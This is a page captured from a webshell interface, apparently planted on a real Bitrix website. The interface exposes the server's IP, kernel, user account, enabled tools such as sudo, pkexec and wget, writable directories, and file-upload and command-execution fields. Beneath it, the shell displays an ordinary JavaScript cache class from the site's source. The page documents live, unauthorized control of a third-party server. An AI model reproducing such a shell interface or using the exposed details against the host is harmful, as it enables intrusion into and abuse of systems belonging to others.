403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/cache/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/cache/base-cache.js
import Type from '../type';

export default class BaseCache<T>
{
	/**
	 * @private
	 */
	storage: Map<string, T> = new Map();

	/**
	 * Gets cached value or default value
	 */
	get(key: string, defaultValue?: T | () => T): T
	{
		if (!this.storage.has(key))
		{
			if (Type.isFunction(defaultValue))
			{
				return defaultValue();
			}

			if (!Type.isUndefined(defaultValue))
			{
				return defaultValue;
			}
		}

		return this.storage.get(key);
	}

	/**
	 * Sets cache entry
	 */
	set(key: string, value: T)
	{
		this.storage.set(key, value);
	}

	/**
	 * Deletes cache entry
	 */
	delete(key: string)
	{
		this.storage.delete(key);
	}

	/**
	 * Checks that storage contains entry with specified key
	 */
	has(key: string): boolean
	{
		return this.storage.has(key);
	}

	/**
	 * Gets cached value if exists,
	 */
	remember(key: string, defaultValue?: T | () => T): T
	{
		if (!this.storage.has(key))
		{
			if (Type.isFunction(defaultValue))
			{
				this.storage.set(key, defaultValue());
			}
			else if (!Type.isUndefined(defaultValue))
			{
				this.storage.set(key, defaultValue);
			}
		}

		return this.storage.get(key);
	}

	/**
	 * Gets storage size
	 */
	size(): number
	{
		return this.storage.size;
	}

	/**
	 * Gets storage keys
	 */
	keys(): Array<string>
	{
		return [...this.storage.keys()];
	}

	/**
	 * Gets storage values
	 */
	values(): Array<T>
	{
		return [...this.storage.values()];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit